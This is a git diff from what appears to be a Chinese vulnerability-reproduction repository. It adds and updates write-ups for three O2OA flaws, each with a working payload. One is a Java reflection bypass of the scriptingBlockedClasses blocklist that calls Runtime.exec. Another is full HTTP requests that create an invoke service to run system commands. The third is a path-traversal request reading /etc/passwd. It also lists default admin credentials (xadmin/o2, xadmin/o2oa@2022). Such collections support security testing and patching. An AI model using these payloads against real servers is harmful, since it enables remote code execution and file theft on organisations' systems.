update
103
OA产品漏洞/O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行.md
Normal file
@ -0,0 +1,103 @@
|
||||
# O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
O2OA(翱途)低代码开发平台是一个开源企业协同办公定制平台,提供完整的前后端 API 和模块定制能力。
|
||||
|
||||
O2OA 9.0.3 版本存在远程代码执行漏洞,平台使用 `scriptingBlockedClasses` 属性值列表作为黑名单过滤器,攻击者可以通过 Java 反射绕过黑名单限制。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/o2oa/o2oa/issues/158
|
||||
- https://github.com/o2oa/o2oa/issues/159
|
||||
- https://www.o2oa.net/log/log.html
|
||||
|
||||
## 披露时间
|
||||
|
||||
2024-06-04
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
O2OA 9.0.3
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
在 [官网下载](https://www.o2oa.net/download.html) 一个 9.0.3 版本,本地搭建测试:
|
||||
|
||||
```
|
||||
unzip o2server-9.0.3-linux-x64.zip
|
||||
cd o2server
|
||||
./start_linux.sh
|
||||
```
|
||||
|
||||
按照提示进行安装,选择内置 `h2` 数据库:
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
以 `xadmin` 身份登录平台,点击 `Service Platform` 进入服务平台:
|
||||
|
||||

|
||||
|
||||
点击 `Create Agent` 创建一个代理:
|
||||
|
||||

|
||||
|
||||
填写 `Name`、`Alias` 和 `Time task cron expression` 等必填项,写入 [payload](https://github.com/o2oa/o2oa/issues/158) :
|
||||
|
||||
```
|
||||
var a = mainOutput();
|
||||
function mainOutput() {
|
||||
var clazz = Java.type("java.lang.Class");
|
||||
var rt = clazz.forName("java.lang.Runtime");
|
||||
var stringClazz = Java.type("java.lang.String");
|
||||
|
||||
var getRuntimeMethod = rt.getMethod("getRuntime");
|
||||
var execMethod = rt.getMethod("exec",stringClazz);
|
||||
var runtimeObject = getRuntimeMethod.invoke(rt);
|
||||
execMethod.invoke(runtimeObject,"touch /tmp/awesome_poc");
|
||||
};
|
||||
```
|
||||
|
||||
点击保存。关闭当前窗口,重新进入点击 `Run` 执行:
|
||||
|
||||

|
||||
|
||||
命令成功执行:
|
||||
|
||||

|
||||
|
||||
漏洞产生的原因是 9.0.3 版本 `o2server/configSample/general.json` 文件中对类做了黑名单限制,但是攻击者可以通过 Java 反射绕过黑名单中的类:
|
||||
|
||||
```
|
||||
"scriptingBlockedClasses": [
|
||||
"java.util.zip.ZipOutputStream",
|
||||
"java.io.RandomAccessFile",
|
||||
"java.net.Socket",
|
||||
"java.util.zip.ZipInputStream",
|
||||
"java.nio.file.Files",
|
||||
"java.lang.System",
|
||||
"java.net.URL",
|
||||
"java.lang.Runtime",
|
||||
"java.io.FileWriter",
|
||||
"java.io.FileOutputStream",
|
||||
"javax.script.ScriptEngineManager",
|
||||
"java.io.File",
|
||||
"java.net.ServerSocket",
|
||||
"java.nio.file.Paths",
|
||||
"javax.script.ScriptEngine",
|
||||
"java.util.zip.ZipFile",
|
||||
"java.lang.ProcessBuilder",
|
||||
"java.net.URI",
|
||||
"java.nio.file.Path"
|
||||
],
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
建议升级 O2OA 最新版本: https://www.o2oa.net/download.html
|
@ -2,12 +2,20 @@
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
O2OA是一款开源免费的企业及团队办公平台,提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动OA、文档分享、流程审批、数据协作等众多功能,满足企业各类管理和协作需求。 O2OA系统invoke 接口存在远程代码执行漏洞。攻击者可利用漏洞执行任意代码。
|
||||
O2OA 是一款开源免费的企业及团队办公平台,提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动 OA、文档分享、流程审批、数据协作等众多功能,满足企业各类管理和协作需求。 O2OA 系统 invoke 接口存在远程代码执行漏洞。攻击者可利用漏洞执行任意代码。此漏洞在 O2OA 7.2.7 版本得到修复。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://www.cnvd.org.cn/flaw/show/CNVD-2020-18740
|
||||
|
||||
## 披露时间
|
||||
|
||||
2020-04-06
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
O2OA
|
||||
O2OA 6.x
|
||||
```
|
||||
|
||||
## 网络测绘
|
||||
@ -16,17 +24,29 @@ O2OA
|
||||
title=="O2OA"
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
在 [官网下载](https://www.o2oa.net/download.html) 一个 6.2.0 版本,本地搭建测试:
|
||||
|
||||
```
|
||||
unzip o2server-6.2.0-linux-x64.zip
|
||||
cd o2server
|
||||
./start_linux.sh
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
登录页面
|
||||
默认密码登录后台 `xadmin/o2`(或 `xadmin/o2oa@2022`),点击 `Service Platform` 进入服务平台:
|
||||
|
||||

|
||||

|
||||
|
||||
默认密码登录后台 `xadmin/o2`
|
||||
点击 `Create Service` 创建一个服务:
|
||||
|
||||

|
||||

|
||||
|
||||
在应用中找到服务管理,创建接口代码执行系统命令
|
||||
填写必填项,写入 payload:
|
||||
|
||||
```
|
||||
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
|
||||
@ -41,23 +61,45 @@ var result = { "Result": result };
|
||||
this.response.setBody(result, "application/json");
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
请求包
|
||||
部分版本可以直接执行,有些版本需要构造请求包:
|
||||
|
||||
```
|
||||
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
|
||||
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA
|
||||
POST /x_program_center/jaxrs/invoke?v=6.1 HTTP/1.1
|
||||
Host: 10.0.12.15:20030
|
||||
Accept: */*
|
||||
Referer: http://10.0.12.15/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
|
||||
Content-Type: application/json; charset=UTF-8
|
||||
Origin: http://10.0.12.15
|
||||
authorization: PfyuxmzgIzrLF0IUhEF-rgO3PHNy_z4650QnO7mEHhA
|
||||
Content-Length: 1048
|
||||
|
||||
{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}
|
||||
{"id":"test","name":"test","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2025-02-28 15:54:17","updateTime":"2025-02-28 15:54:17"}
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
创建成功后访问接口执行系统命令
|
||||
创建成功后访问接口执行系统命令:
|
||||
|
||||
```
|
||||
/x_program_center/jaxrs/invoke/cmd/execute
|
||||
POST /x_program_center/jaxrs/invoke/test/execute HTTP/1.1
|
||||
Host: 10.0.12.15:20030
|
||||
Accept: */*
|
||||
Referer: http://10.0.12.15/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
|
||||
Content-Type: application/json; charset=UTF-8
|
||||
authorization: PfyuxmzgIzrLF0IUhEF-rgO3PHNy_z4650QnO7mEHhA
|
||||
Content-Length: 1048
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
建议升级 O2OA 最新版本: https://www.o2oa.net/download.html
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
O2OA是一款开源免费的企业及团队办公平台,提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动OA、文档分享、流程审批、数据协作等众多功能,满足企业各类管理和协作需求。 O2OA系统 open 接口存在任意文件读取漏洞。攻击者可利用漏洞读取任意文件。
|
||||
O2OA 是一款开源免费的企业及团队办公平台,提供门户管理、流程管理、信息管理、数据管理四大平台,集工作汇报、项目协作、移动 OA、文档分享、流程审批、数据协作等众多功能,满足企业各类管理和协作需求。 O2OA 系统 open 接口存在任意文件读取漏洞。攻击者可利用漏洞读取任意文件。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
O2OA
|
||||
O2OA 6.x
|
||||
```
|
||||
|
||||
## 网络测绘
|
||||
@ -16,19 +16,46 @@ O2OA
|
||||
title=="O2OA"
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
## 环境搭建
|
||||
|
||||
登录页面
|
||||
|
||||

|
||||
|
||||
默认密码登录后台 xadmin/o2 (o2oa@2022), 验证POC
|
||||
在 [官网下载](https://www.o2oa.net/download.html) 一个 6.2.0 版本,本地搭建测试:
|
||||
|
||||
```
|
||||
POST /x_program_center/jaxrs/config/open?v=6.3
|
||||
Authorization: PfyuxmzgIzq74NYhOcQ5NGbegmqb8H4y50QnO7mEHhA
|
||||
unzip o2server-6.2.0-linux-x64.zip
|
||||
cd o2server
|
||||
./start_linux.sh
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
默认密码登录后台 `xadmin/o2`(或 `xadmin/o2oa@2022`)。
|
||||
|
||||
发送数据包:
|
||||
|
||||
```
|
||||
POST /x_program_center/jaxrs/config/open?v=6.3 HTTP/1.1
|
||||
Host: 10.0.12.15:20030
|
||||
Accept: */*
|
||||
Referer: http://10.0.12.15/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
|
||||
Content-Type: application/json; charset=UTF-8
|
||||
Origin: http://10.0.12.15
|
||||
authorization: PfyuxmzgIzrLF0IUhEF-rgO3PHNy_z4650QnO7mEHhA
|
||||
Content-Length: 1048
|
||||
|
||||
{"fileName":"../../../etc/passwd"}
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
文件不存在时,响应包:
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
建议升级 O2OA 最新版本: https://www.o2oa.net/download.html
|
||||
|
Before Width: | Height: | Size: 55 KiB |
Before Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 164 KiB |
Before Width: | Height: | Size: 232 KiB |
Before Width: | Height: | Size: 364 KiB |
After Width: | Height: | Size: 150 KiB |
After Width: | Height: | Size: 306 KiB |
After Width: | Height: | Size: 379 KiB |
After Width: | Height: | Size: 248 KiB |
After Width: | Height: | Size: 356 KiB |
After Width: | Height: | Size: 28 KiB |
After Width: | Height: | Size: 183 KiB |
After Width: | Height: | Size: 432 KiB |
After Width: | Height: | Size: 217 KiB |
After Width: | Height: | Size: 172 KiB |
After Width: | Height: | Size: 521 KiB |
After Width: | Height: | Size: 353 KiB |
BIN
OA产品漏洞/images/O2OA open 后台任意文件读取漏洞/image-20250228160632284.png
Normal file
After Width: | Height: | Size: 459 KiB |
BIN
OA产品漏洞/images/O2OA open 后台任意文件读取漏洞/image-20250228160910347.png
Normal file
After Width: | Height: | Size: 434 KiB |
Before Width: | Height: | Size: 49 KiB |
Before Width: | Height: | Size: 365 KiB |
@ -111,12 +111,9 @@
|
||||
* 禅道 V16.5 SQL 注入 CNVD-2022-42853
|
||||
* 禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709
|
||||
* 齐博CMS V7 job.php 任意文件读取漏洞
|
||||
- MYPOC
|
||||
|
||||
* Cacti 任意文件创建致远程代码执行漏洞 CVE-2025-24367
|
||||
* Cacti 多行 SNMP 响应验证致代码执行漏洞 CVE-2025-22604
|
||||
- OA产品漏洞
|
||||
|
||||
* O2OA 9.0.3 版本 scriptingBlockedClasses 绕过导致远程代码执行
|
||||
* O2OA invoke 后台远程命令执行漏洞 CNVD-2020-18740
|
||||
* O2OA open 后台任意文件读取漏洞
|
||||
* 一米OA getfile.jsp 任意文件读取漏洞
|
||||
|